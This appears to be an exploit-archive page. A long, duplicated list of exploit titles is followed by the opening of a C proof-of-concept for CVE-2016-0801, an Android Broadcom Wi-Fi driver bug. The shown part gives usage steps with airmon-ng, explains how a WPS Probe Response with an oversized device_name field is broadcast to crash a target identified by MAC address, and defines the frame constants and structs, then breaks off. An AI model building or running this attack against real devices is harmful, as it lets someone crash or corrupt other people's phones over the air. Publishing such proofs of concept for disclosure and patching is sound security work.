
22 new exploits PoPToP PPTP <= 1.1.4-b3 - Remote Root Exploit (poptop-sane.c) PoPToP PPTP <= 1.1.4-b3 - 'poptop-sane.c' Remote Root Exploit Atftpd 0.6 - Remote Root Exploit (atftpdx.c) Atftpd 0.6 - 'atftpdx.c' Remote Root Exploit Yahoo Messenger 5.5 - Remote Exploit (DSR-ducky.c) Yahoo Messenger 5.5 - 'DSR-ducky.c' Remote Exploit CCBILL CGI Remote Exploit for whereami.cgi (ccbillx.c) CCBILL CGI - 'ccbillx.c' whereami.cgi Remote Exploit Cisco IOS IPv4 Packet Denial of Service Exploit (cisco-bug-44020.c) Cisco IOS - 'cisco-bug-44020.c' IPv4 Packet Denial of Service Exploit wu-ftpd 2.6.2 - Remote Denial of Service Exploit (wuftpd-freezer.c) wu-ftpd 2.6.2 - 'wuftpd-freezer.c' Remote Denial of Service Exploit Microsoft Windows - (Jolt2.c) Denial of Service Exploit Microsoft Windows - 'Jolt2.c' Denial of Service Exploit TCP SYN Denial of Service Exploit (bang.c) TCP SYN - 'bang.c' Denial of Service Exploit Apache HTTPd - Arbitrary Long HTTP Headers DoS (C) Apache HTTPd - Arbitrary Long HTTP Headers DoS Linux Kernel <= 2.4.26- File Offset Pointer Handling Memory Disclosure Exploit Linux Kernel <= 2.4.26 - File Offset Pointer Handling Memory Disclosure Exploit Linux Kernel 2.6.x (Slackware 9.1/ Debian 3.0) - chown() Group Ownership Alteration Exploit Linux Kernel 2.6.x (Slackware 9.1 / Debian 3.0) - chown() Group Ownership Alteration Exploit Veritas Backup Exec Agent 8.x/9.x - Browser Overflow (C) Veritas Backup Exec Agent 8.x/9.x - Browser Overflow Apache OpenSSL - Remote Exploit (Multiple Targets) (OpenFuckV2.c) Apache OpenSSL - 'OpenFuckV2.c' Remote Exploit CA License Server (GETCONFIG) Remote Buffer Overflow Exploit (c) CA License Server (GETCONFIG) Remote Buffer Overflow Exploit Aeon 0.2a - Local Linux Exploit (C) Aeon 0.2a - Local Linux Exploit Linux Kernel 2.4 / 2.6 - bluez Local Root Privilege Escalation Exploit (3) Linux Kernel 2.4.x / 2.6.x - 'Bluez' Bluetooth Signed Buffer Index Local Root (3) nbSMTP <= 0.99 (util.c) Client-Side Command Execution Exploit nbSMTP <= 0.99 - 'util.c' Client-Side Command Execution Exploit SuSE Linux <= 9.3 / 10 - (chfn) Local Root Privilege Escalation Exploit Linux chfn (SuSE <= 9.3 / 10) - Local Privilege Escalation Exploit SugarSuite Open Source <= 4.0beta Remote Code Execution Exploit (c) SugarSuite Open Source <= 4.0beta - Remote Code Execution Exploit Microsoft Windows IIS - Malformed HTTP Request Denial of Service Exploit (c) Microsoft Windows IIS - Malformed HTTP Request Denial of Service Exploit (pl) Microsoft Windows IIS - Malformed HTTP Request Denial of Service Exploit Microsoft Windows IIS - Malformed HTTP Request Denial of Service Exploit (Perl) OpenVMPSd <= 1.3 - Remote Format String Exploit (Multiple Targets) OpenVMPSd <= 1.3 - Remote Format String Exploit Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability Ubuntu Breezy 5.10 - Installer Password Disclosure Vulnerability X.Org X11 (X11R6.9.0/X11R7.0) - Local Root Privilege Escalation Exploit X.Org X11 (X11R6.9.0/X11R7.0) - Local Privilege Escalation Exploit DataLife Engine <= 4.1 - Remote SQL Injection Exploit (php) DataLife Engine <= 4.1 - Remote SQL Injection Exploit (PHP) Opera 9 IRC Client Remote Denial of Service Exploit (c) Opera 9 IRC Client Remote Denial of Service Exploit (py) Opera 9 - IRC Client Remote Denial of Service Exploit Opera 9 IRC Client - Remote Denial of Service Exploit (Python) Microsoft Windows PNG File IHDR Block Denial of Service Exploit PoC (c) Microsoft Windows - PNG File IHDR Block Denial of Service Exploit PoC (1) Microsoft Windows PNG File IHDR Block Denial of Service Exploit PoC (c) (2) Microsoft Windows - PNG File IHDR Block Denial of Service Exploit PoC (2) Microsoft Internet Explorer (VML) Remote Buffer Overflow Exploit (SP2) (pl) Microsoft Internet Explorer (VML) - Remote Buffer Overflow Exploit (SP2) (Perl) Microsoft Internet Explorer WebViewFolderIcon setSlice() Exploit (pl) Microsoft Internet Explorer - WebViewFolderIcon setSlice() Exploit (Perl) Microsoft Internet Explorer WebViewFolderIcon setSlice() Exploit (c) Microsoft Internet Explorer - WebViewFolderIcon setSlice() Exploit cPanel <= 10.8.x - (cpwrap via mysqladmin) Local Root Exploit (php) cPanel <= 10.8.x - (cpwrap via mysqladmin) Local Root Exploit (PHP) Xfire <= 1.6.4 - Remote Denial of Service Exploit (pl) Xfire <= 1.6.4 - Remote Denial of Service Exploit (Perl) Microsoft Windows NetpManageIPCConnect Stack Overflow Exploit (py) Microsoft Windows NetpManageIPCConnect - Stack Overflow Exploit (Python) VUPlayer <= 2.44 - (.M3U UNC Name) Buffer Overflow Exploit (c) VUPlayer <= 2.44 - (.M3U UNC Name) Buffer Overflow Exploit QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl) QK SMTP <= 3.01 - (RCPT TO) Remote Buffer Overflow Exploit (Perl) Ubuntu/Debian Apache 1.3.33/1.3.34 - (CGI TTY) Local Root Exploit Apache 1.3.33/1.3.34 (Ubuntu / Debian) - (CGI TTY) Local Root Exploit WarFTP 1.65 (USER) Remote Buffer Overlow Exploit (multiple targets) WarFTP 1.65 (USER) Remote Buffer Overlow Exploit XOOPS Module WF-Snippets <= 1.02 (c) BLIND SQL Injection Exploit XOOPS Module WF-Snippets <= 1.02 (c) - BLIND SQL Injection Exploit IrfanView 3.99 - (.ani) Local Buffer Overflow Exploit (multiple targets) IrfanView 3.99 - (.ani) Local Buffer Overflow Exploit 3proxy 0.5.3g logurl() Remote Buffer Overflow Exploit (Win32) (pl) 3proxy 0.5.3g logurl() - Remote Buffer Overflow Exploit (Win32) (Perl) Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c) Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit fuzzylime CMS 3.01 (polladd.php poll) Remote Code Execution Exploit (php) fuzzylime CMS 3.01 (polladd.php poll) Remote Code Execution Exploit (pl) fuzzylime CMS 3.01 (polladd.php poll) Remote Code Execution Exploit (PHP) fuzzylime CMS 3.01 - (polladd.php poll) Remote Code Execution Exploit (Perl) IntelliTamper 2.07 - (map file) Local Arbitrary Code Execution Exploit (pl) IntelliTamper 2.07 - (map file) Local Arbitrary Code Execution Exploit (Perl) IntelliTamper 2.0.7 - (html parser) Remote Buffer Overflow Exploit (c) IntelliTamper 2.0.7 - (html parser) Remote Buffer Overflow Exploit BIND 9.x - Remote DNS Cache Poisoning Flaw Exploit (py) BIND 9.x - Remote DNS Cache Poisoning Flaw Exploit (Python) BIND 9.x - Remote DNS Cache Poisoning Flaw Exploit (c) BIND 9.x - Remote DNS Cache Poisoning Flaw Exploit CoolPlayer 2.19 - (Skin File) Local Buffer Overflow Exploit (py) CoolPlayer 2.19 - (Skin File) Local Buffer Overflow Exploit (Python) Browser3D 3.5 - (.sfs) Local Stack Overflow Exploit (c) Browser3D 3.5 - (.sfs) Local Stack Overflow Exploit Microsoft Internet Explorer 7 - Memory Corruption Exploit (MS09-002) (py) Microsoft Internet Explorer 7 - Memory Corruption Exploit (MS09-002) (Python) EFS Easy Chat Server Authentication Request Buffer Overflow Exploit (pl) EFS Easy Chat Server - Authentication Request Buffer Overflow Exploit (Perl) CastRipper 2.50.70 - (.m3u) Universal Stack Overflow Exploit (py) CastRipper 2.50.70 - (.m3u) Universal Stack Overflow Exploit (Python) Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (php) Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (PHP) Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (pl) Microsoft IIS 6.0 WebDAV - Remote Authentication Bypass Exploit (Perl) kloxo 5.75 - (24 issues) Multiple Vulnerabilities kloxo 5.75 - Multiple Vulnerabilities Mozilla Firefox 3.5 (Font tags) Remote Heap Spray Exploit (pl) Mozilla Firefox 3.5 - (Font tags) Remote Heap Spray Exploit (Perl) Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation Exploit (C) Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation Exploit MailEnable 1.52 HTTP Mail Service Stack BoF Exploit PoC MailEnable 1.52 - HTTP Mail Service Stack BoF Exploit PoC (Ubuntu 9.10/10.04) PAM 1.1.0 - MOTD File Tampering (Privilege Escalation) Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation Local Root Exploit (1) Cacti 0.8.7e: Multiple Security Issues Cacti 0.8.7e - Multiple Vulnerabilities (Tod Miller's) Sudo/SudoEdit 1.6.x < 1.6.9p21 & 1.7.x < 1.7.2p4 - Local Root Exploit (Tod Miller's) Sudo/SudoEdit 1.6.x / 1.7.x (<= 1.6.9p21 / <= 1.7.2p4) - Local Root Exploit PAM 1.1.0 MOTD (Ubuntu 9.10/10.04) - Local Root Exploit Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation Local Root Exploit (2) Linux Kernel < 2.6.36-rc1 CAN BCM (Ubuntu 10.04 / 2.6.32-21) - Privilege Escalation Exploit Linux Kernel < 2.6.36-rc1 CAN BCM (Ubuntu 10.04 / 2.6.32) - Privilege Escalation Exploit Ubuntu Linux - 'mountall' - Local Privilege Escalation Vulnerability mountall <= 2.15.2 (Ubuntu 10.04/10.10) - Local Privilege Escalation Vulnerability Cilem Haber 1.4.4 (Tr) - Database Disclosure Exploit (.py) Cilem Haber 1.4.4 (Tr) - Database Disclosure Exploit (Python) PHP Hosting Directory 2.0 Database Disclosure Exploit (.py) PHP Hosting Directory 2.0 Database Disclosure Exploit (Python) systemtap - Local Root Privilege Escalation Vulnerability systemtap - Local Privilege Escalation Vulnerability Linux Kernel < 2.6.34 CAP_SYS_ADMIN x86 & x64 (Ubuntu 110.10) - Local Privilege Escalation Exploit (2) Linux Kernel < 2.6.34 CAP_SYS_ADMIN x86 & x64 (Ubuntu 11.10) - Local Privilege Escalation Exploit (2) Kunena < 1.5.13_ < 1.6.3 - SQL Injection Vulnerability Kunena < 1.5.13 / < 1.6.3 - SQL Injection Vulnerability HP OpenView NNM 7.53_ 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow HP OpenView NNM 7.53/7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow Safari 5.0.6_ 5.1 - SVG DOM Processing PoC Safari 5.0.6/5.1 - SVG DOM Processing PoC Ubuntu <= 11.04 ftp client Local Buffer Overflow Crash PoC FTP Client (Ubuntu <= 11.04) - Local Buffer Overflow Crash PoC Acpid 1:2.0.10-1ubuntu2 - Privilege Boundary Crossing Vulnerability Acpid 1:2.0.10-1ubuntu2 (Ubuntu 11.10/11.04) - Privilege Boundary Crossing Local Root Exploit RedHat Linux <= 6.0_ Slackware Linux <= 4.0 Termcap tgetent() Buffer Overflow (1) RedHat Linux <= 6.0_ Slackware Linux <= 4.0 Termcap tgetent() Buffer Overflow (2) RedHat Linux <= 6.0 / Slackware Linux <= 4.0 - Termcap tgetent() Buffer Overflow (1) RedHat Linux <= 6.0 / Slackware Linux <= 4.0 - Termcap tgetent() Buffer Overflow (2) Linux Kernel 2.2.x/2.4 .0-test1_ SGI ProPack 1.2/1.3 - Capabilities Local Root (sendmail) Vulnerability (1) Linux Kernel 2.2.x/2.4 .0-test1_ SGI ProPack 1.2/1.3 - Capabilities Local Root (sendmail <= 8.10.1) Vulnerability (2) Linux Kernel 2.2.x/2.4.0-test1_ SGI ProPack 1.2/1.3 - Capabilities Local Root (sendmail) Vulnerability (1) Linux Kernel 2.2.x/2.4.0-test1_ SGI ProPack 1.2/1.3 - Capabilities Local Root (sendmail <= 8.10.1) Vulnerability (2) Debian 2.x_RedHat 6.2_IRIX 5/6_ Solaris 2.x Mail Reply-To Field Vulnerability Debian 2.x_ RedHat 6.2_ IRIX 5/6_ Solaris 2.x - Mail Reply-To Field Vulnerability Pure-FTPd 1.0.21 (CentOS 6.2 & Ubuntu 8.04) - Crash PoC (Null Pointer Dereference) Pure-FTPd 1.0.21 (CentOS 6.2 / Ubuntu 8.04) - Crash PoC (Null Pointer Dereference) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - loopback (land.c) DoS (1) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - loopback (land.c) DoS (2) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - loopback (land.c) DoS (3) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - loopback (land.c) DoS (4) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - loopback (land.c) DoS (5) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - 'land.c' loopback DoS (1) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - 'land.c' loopback DoS (2) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - 'land.c' loopback DoS (3) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - 'land.c' loopback DoS (4) FreeBSD 2.x_HP-UX 9/10/11_kernel 2.0.3_Windows NT 4.0/Server 2003_NetBSD 1 - 'land.c' loopback DoS (5) cPanel 5.0 - Openwebmail Local Privileges Escalation Vulnerability cPanel 5.0 - Openwebmail Local Privilege Escalation Vulnerability Linux-PAM 0.77 - Pam_Wheel Module getlogin() Username Spoofing Privileged Escalation Vulnerability Linux PAM 0.77 - Pam_Wheel Module getlogin() Username Spoofing Privilege Escalation Vulnerability Totem Movie Player (Ubuntu) 3.4.3 - Stack Corruption Totem Movie Player 3.4.3 (Ubuntu) - Stack Corruption Flightgear 2.0_ 2.4 - Remote Format String Exploit Flightgear 2.0/2.4 - Remote Format String Exploit Opera 7.x_ Firefox 1.0_ Internet Explorer 6.0 - Information Disclosure Weakness Opera 7.x/Firefox 1.0/Internet Explorer 6.0 - Information Disclosure Weakness Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index PoC Vulnerability (1) Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index Local Root Vulnerability (2) Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index Local Root Vulnerability (3) Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index Local Root Vulnerability (4) Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index PoC (1) Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index Local Root (2) Linux Kernel <= 2.4.30 / <= 2.6.11.5 - Bluetooth bluez_sock_create Local Root Vulnerability Linux Kernel 2.6.37 <= 3.x.x (CentOS) - PERF_EVENTS Local Root Exploit Linux Kernel 2.6.32 <= 3.x.x (CentOS) - PERF_EVENTS Local Root Exploit Linux Kernel 3.8.x - open-time Capability file_ns_capable() Privilege Escalation Linux Kernel < 3.8.x - open-time Capability file_ns_capable() Privilege Escalation OSX <= 10.8.4 - Local Root Privilege Escalation (py) OSX <= 10.8.4 - Local Privilege Escalation (Python) Moodle 2.3.8_ 2.4.5 - Multiple Vulnerabilities Moodle 2.3.8/2.4.5 - Multiple Vulnerabilities IBM AIX 6.1 / 7.1 - Local Root Privilege Escalation IBM AIX 6.1 / 7.1 - Local Privilege Escalation glibc and eglibc 2.5_ 2.7_ 2.13 - Buffer Overflow Vulnerability glibc and eglibc 2.5/2.7/2.13 - Buffer Overflow Vulnerability StatusNet/Laconica 0.7.4_ 0.8.2_ 0.9.0beta3 - Arbitrary File Reading StatusNet/Laconica 0.7.4/0.8.2/0.9.0beta3 - Arbitrary File Reading Links_ ELinks 'smbclient' Remote Command Execution Vulnerability Links_ ELinks 'smbclient' - Remote Command Execution Vulnerability Flyspray 0.9.9 - Information Disclosure_ HTML Injection and Cross-Site Scripting Vulnerabilities Flyspray 0.9.9 - Information Disclosure/HTML Injection/Cross-Site Scripting Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10) - Local Root (CONFIG_X86_X32=y) Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10) - 'CONFIG_X86_X32=y' Local Root Exploit Symantec Endpoint Protection Manager 11.0_ 12.0_ 12.1 - Remote Command Execution Exploit Symantec Endpoint Protection Manager 11.0/12.0/12.1 - Remote Command Execution Exploit ownCloud 4.0.x_ 4.5.x (upload.php filename param) - Remote Code Execution ownCloud 4.0.x/4.5.x (upload.php filename param) - Remote Code Execution Procentia IntelliPen 1.1.12.1520 (Data.aspx_ value param) - Blind SQL Injection Vtiger CRM 5.4.0_ 6.0 RC_ 6.0.0 GA (browse.php file param) - Local File Inclusion Procentia IntelliPen 1.1.12.1520 - data.aspx Blind SQL Injection Vtiger CRM 5.4.0/6.0 RC/6.0.0 GA (browse.php file param) - Local File Inclusion Haihaisoft HUPlayer 1.0.4.8 - (.m3u_ .pls_ .asx) Buffer Overflow (SEH) Haihaisoft Universal Player 1.5.8 - (.m3u_ .pls_ .asx) Buffer Overflow (SEH) Haihaisoft HUPlayer 1.0.4.8 - (.m3u/.pls/.asx) Buffer Overflow (SEH) Haihaisoft Universal Player 1.5.8 - (.m3u/.pls/.asx) Buffer Overflow (SEH) JIRA Issues Collector Directory Traversal JIRA Issues Collector - Directory Traversal CMSimple 4.4_ 4.4.2 - Remote File Inclusion CMSimple 4.4/4.4.2 - Remote File Inclusion Core FTP Server 1.2_ build 535_ 32-bit - Crash PoC Core FTP Server 1.2 build 535 32-bit - Crash PoC Samba <= 3.4.5 - Symlink Directory Traversal Vulnerability (C) Samba <= 3.4.5 - Symlink Directory Traversal Vulnerability Microsoft Internet Explorer 8 - Fixed Col Span ID Full ASLR_ DEP & EMET 4.1.x Bypass (MS12-037) Microsoft Internet Explorer 8 - Fixed Col Span ID Full ASLR + DEP + EMET 4.1.x Bypass (MS12-037) Linux Kernel < 3.2.0-23 (Ubuntu 12.04) - ptrace/sysret Local Privilege Escalation Linux Kernel < 3.2.0-23 (Ubuntu 12.04) - ptrace/sysret Local Privilege Escalation Symantec Endpoint Protection 11.x_ 12.x - Kernel Pool Overflow Symantec Endpoint Protection 11.x/12.x - Kernel Pool Overflow Linux Kernel 3.16.1 - Remount FUSE Exploit Linux Kernel < 3.16.1 - Remount FUSE Local Root Exploit Microsoft Internet Explorer 8 - Fixed Col Span ID Full ASLR_ DEP & EMET 5.0 Bypass (MS12-037) Microsoft Internet Explorer 8 - Fixed Col Span ID Full ASLR + DEP + EMET 5.0 Bypass (MS12-037) Rejetto HTTP File Server (HFS) 2.3a_ 2.3b_ 2.3c - Remote Command Execution Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution Microsoft Internet Explorer 8 - Fixed Col Span ID Full ASLR_ DEP & EMET 5.1 Bypass (MS12-037) Microsoft Internet Explorer 8 - Fixed Col Span ID Full ASLR + DEP + EMET 5.1 Bypass (MS12-037) Mac OS X - IOKit Keyboard Driver Root Privilege Escalation Mac OS X - IOKit Keyboard Driver Privilege Escalation Liferay Portal 7.0.0 M1_ 7.0.0 M2_ 7.0.0 M3 - Pre-Auth RCE Liferay Portal 7.0.0 M1/7.0.0 M2/7.0.0 M3 - Pre-Auth RCE vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion_ SQL Injection & XSS vBulletin MicroCART 1.1.4 - Arbitrary File(s) Deletion/SQL Injection/XSS MalwareBytes Anti-Exploit 1.03.1.1220_ 1.04.1.1012 Out-of-bounds Read DoS MalwareBytes Anti-Exploit 1.03.1.1220/1.04.1.1012 Out-of-bounds Read DoS JBoss AS 3_ 4_ 5_ 6 - Remote Command Execution JBoss AS 3/4/5/6 - Remote Command Execution Mac OS X < 10.7.5_ 10.8.2_ 10.9.5 10.10.2 - rootpipe Local Privilege Escalation Mac OS X < 10.7.5/10.8.2/10.9.5/10.10.2 - rootpipe Local Privilege Escalation Alienvault OSSIM/USM 4.14_ 4.15_ and 5.0 - Multiple Vulnerabilities Alienvault OSSIM/USM 4.14/4.15/5.0 - Multiple Vulnerabilities Pandora FMS 5.0_ 5.1 - Authentication Bypass Pandora FMS 5.0/5.1 - Authentication Bypass Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - overlayfs Local Root (Shell) Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - overlayfs Local Root Shell Cisco AnyConnect Secure Mobility 2.x_ 3.x_ 4.x - Client DoS PoC Cisco AnyConnect Secure Mobility 2.x/3.x/4.x - Client DoS PoC Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - overlayfs Local Root (Shadow File) Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - overlayfs Privilege Escalation (Access /etc/shadow) Orchard CMS 1.7.3_ 1.8.2_ 1.9.0 - Stored XSS Vulnerability Orchard CMS 1.7.3/1.8.2/1.9.0 - Stored XSS Vulnerability Ubuntu 14.04 NetKit FTP Client - Crash/DoS PoC NetKit FTP Client (Ubuntu 14.04) - Crash/DoS PoC Interspire Email Marketer Cross Site Scripting_ HTML Injection_ and SQL Injection Vulnerabilities Interspire Email Marketer - (Cross Site Scripting/HTML Injection/SQL Injection) Multiple Vulnerabilities BigDump Cross Site Scripting_ SQL Injection_ and Arbitrary File Upload Vulnerabilities BigDump - (Cross Site Scripting/SQL Injection/Arbitrary File Upload) Multiple Vulnerabilities Elastix < 2.5 _ PHP Code Injection Exploit Elastix < 2.5 - PHP Code Injection Exploit Microsoft Office Excel 2007_ 2010_ 2013 - BIFFRecord Use-After-Free Microsoft Office Excel 2007/2010/2013 - BIFFRecord Use-After-Free OS X Regex Engine (TRE) - Integer Signedness and Overflow Issues OS X Regex Engine (TRE) - (Integer Signedness and Overflow) Multiple Vulnerabilities Linux Kernel 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation Vulnerability Linux Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation Vulnerability Linux Kernel <=4.3.3 (Ubuntu 14.04_ 15.10) - overlayfs Local Root Exploit Linux Kernel <= 4.3.3 (Ubuntu 14.04/15.10) - overlayfs Local Root Exploit Exim < 4.86.2 - Local Root Privilege Escalation Exim < 4.86.2 - Local Privilege Escalation RHEL 7.1 (and CentOS) Kernel 3.10.0-229.x - snd-usb-audio Crash PoC RHEL 7.1 (and CentOS) Kernel 3.10.0-229.x - iowarrior driver Crash PoC Linux Kernel 3.10.0-229.x (RHEL 7.1. CentOS) - snd-usb-audio Crash PoC Linux Kernel 3.10.0-229.x (RHEL 7.1. CentOS) - iowarrior driver Crash PoC Trend Micro Deep Discovery Inspector 3.8_ 3.7 - CSRF Vulnerabilities Trend Micro Deep Discovery Inspector 3.8/3.7 - CSRF Vulnerabilities FireEye - Privilege Escalation to root from Malware Input Processor (uid=mip) FireEye - Malware Input Processor (uid=mip) Privilege Escalation Exploit Novell Service Desk 7.1.0_ 7.0.3 and 6.5 - Multiple Vulnerabilities Novell Service Desk 7.1.0/7.0.3 and 6.5 - Multiple Vulnerabilities Internet Explorer 9_ 10_ 11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112) Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112) Linux (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow) Linux Kernel (Ubuntu 14.04.3) - perf_event_open() Can Race with execve() (/etc/shadow) Linux (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps Android Broadcom Wi-Fi Driver - Memory Corruption CIScan 1.00 - Hostname/IP Field SEH Overwrite PoC FileZilla FTP Client 3.17.0.0 - Unquoted Path Privilege Escalation Intuit QuickBooks Desktop 2007 - 2016 - Arbitrary Code Execution
664 lines
No EOL
16 KiB
C
Executable file
664 lines
No EOL
16 KiB
C
Executable file
/*
|
||
* Copyright (C) 2016 by AbdSec Core Team <ok@abdsec.com>
|
||
*
|
||
* This program is free software: you can redistribute it and/or modify
|
||
* it under the terms of the GNU General Public License as published by
|
||
* the Free Software Foundation, either version 3 of the License, or
|
||
* (at your option) any later version.
|
||
*
|
||
* This program is distributed in the hope that it will be useful,
|
||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||
* GNU General Public License for more details.
|
||
*
|
||
* You should have received a copy of the GNU General Public License
|
||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||
*/
|
||
|
||
/*
|
||
USAGE
|
||
|
||
# airmon-ng start wlan0
|
||
# gcc -o wps wps.c -Wall -O2 -DDEBUG -DSHOW
|
||
# ./wps
|
||
Total Wps Length: 118
|
||
|
||
[99] SSID: DON'T_CONNECT
|
||
DEST: ff ff ff ff ff ff
|
||
Sending Packet (315 byte) ...
|
||
|
||
...
|
||
*/
|
||
|
||
/*
|
||
This is a proof of concept for CVE-2016-0801 Bug
|
||
the program proceeds as follows:
|
||
o A new WPS Probe Response packet is generated.
|
||
o The device_name field of this packet is filled with some string that's longer than hundered characters.
|
||
o This packet is broadcasted on the network( interface needs to be on monitor mode for this to work).
|
||
At this point the device picking up this packet, identified by its mac address(DESTINATION_MAC), should have crashed.
|
||
|
||
the following patch shows how contributor fixed the bug
|
||
https://android.googlesource.com/kernel/msm/+/68cdc8df1cb6622980b791ce03e99c255c9888af%5E!/#F0
|
||
|
||
|
||
Wireshark filter for displaying PROBE RESPONSE packets: wlan.fc.type_subtype == 0x05
|
||
Reference WPS Architecture: http://v1ron.ru/downloads/docs/Wi-Fi%20Protected%20Setup%20Specification%201.0h.pdf
|
||
|
||
Acımasız Tom'a Sevgilerle :)
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <stdint.h>
|
||
#include <unistd.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/ioctl.h>
|
||
#include <netpacket/packet.h>
|
||
#include <linux/wireless.h>
|
||
#include <assert.h>
|
||
|
||
|
||
#define calc_size(x) (sizeof(x) - 2)
|
||
#define reverse8(x) (x<<4&0xf0) | ((x>>4)&0x0f) /* 0XAB becomes 0XBA */
|
||
#define reverse16(x) (x&0xff00)>>8 | (x&0x00ff)<<8 /* 0XABCD becomes 0XCDAB */
|
||
|
||
#define PROBE_REQUEST 0x04
|
||
#define PROBE_RESPONSE 0x05
|
||
#define BEACON 0x08
|
||
|
||
#define SOURCE_MAC "\xaa\xbb\xdd\x55\xee\xcc"
|
||
|
||
/* Do NOT forget to set your target's mac address */
|
||
#define DESTINATION_MAC "\xff\xff\xff\xff\xff\xfc"
|
||
|
||
#define SSID "DON'T_CONNECT"
|
||
|
||
/* Tag Number Definitions */
|
||
#define SSID_t 0x00
|
||
#define RATES_t 0x01
|
||
#define DS_t 0x03
|
||
#define ERP_t 0x2a
|
||
#define ESR_t 0x32
|
||
#define RSN_t 0x30
|
||
#define HTC_t 0x2d
|
||
#define HTI_t 0x3d
|
||
#define VENDOR_t 0xdd
|
||
|
||
#define OUI_AES "\x00\x0f\xac"
|
||
#define OUI_Microsof "\x00\x50\xf2"
|
||
|
||
|
||
/* Data Element Type Definitions for WPS Probe Response */
|
||
|
||
#define VERSION 0x104a
|
||
#define WPS_STATE 0x1044
|
||
#define SELECTED_REGISTRAR 0x1041
|
||
#define DEVICE_PASSWORD_ID 0x1012
|
||
#define SELECTED_REGISTRAR_CONFIG_METHODS 0x1053
|
||
#define RESPONSE_TYPE 0x103b
|
||
#define UUID_E 0x1047
|
||
#define MANUFACTURER 0x1021
|
||
#define MODEL_NAME 0x1023
|
||
#define MODEL_NUMBER 0x1024
|
||
#define SERIAL_NUMBER 0x1042
|
||
#define PRIMARY_DEVICE_TYPE 0x1054
|
||
#define WPS_ID_DEVICE_NAME 0x1011
|
||
#define CONFIG_METHODS 0x1008
|
||
|
||
/* Just cloned from a sniffed packet */
|
||
#define RATES_v "\x82\x84\x8b\x96"
|
||
#define ESRATES_v "\x8c\x12\x98\x24\xb0\x48\x60\x6c"
|
||
|
||
/* Wps Version */
|
||
#define WV 0x10
|
||
/* Wps State */
|
||
#define WS 0x01
|
||
/* Selected Registrar */
|
||
#define SR 0x02
|
||
/* Response Type */
|
||
#define RT 0x03
|
||
|
||
/* For Device Password ID */
|
||
#define PIN 0x0000
|
||
/* For Selected Registrar Config Methods */
|
||
#define SRCM 0x018c
|
||
/* For Config Methods */
|
||
#define CM 0x0004
|
||
|
||
|
||
/* For Broadcast */
|
||
#define DELAY 200000
|
||
/* !!! Monitor mode on !!!*/
|
||
#define IFACE "mon0"
|
||
|
||
#define MAX_SIZE 1024
|
||
|
||
/* Max Tag Length */
|
||
#define MAX_TL 0xff
|
||
|
||
typedef uint8_t u8;
|
||
typedef uint16_t u16;
|
||
|
||
/* Common Tags */
|
||
typedef struct {
|
||
/* Tag Number */
|
||
u8 tn;
|
||
/* Tag Length */
|
||
u8 tl;
|
||
} com_a;
|
||
|
||
typedef struct {
|
||
u8 oui[3];
|
||
u8 type;
|
||
} com_b;
|
||
|
||
typedef struct data_definition{
|
||
/* Data Element Type */
|
||
u16 det;
|
||
/* Data Element Length */
|
||
u16 del;
|
||
} def;
|
||
|
||
|
||
